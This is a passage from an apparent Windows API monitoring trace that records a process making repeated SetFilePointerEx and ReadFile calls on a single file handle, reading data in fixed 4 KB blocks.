hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.303] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.303] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b00c | out: lpNewFilePointer=0x0) returned 1 [0129.304] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.304] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42b048 | out: lpNewFilePointer=0x0) returned 1 [0129.305] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42afdc | out: lpNewFilePointer=0x0) returned 1 [0129.305] SetFilePointerEx (in: hFile=0xd0, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42b058 | out: lpNewFilePointer=0x0) returned 1 [0129.305] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.305] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.305] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.305] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.305] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.305] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.306] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.307] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.308] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.309] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.310] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.311] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.312] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.313] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.314] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.315] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, 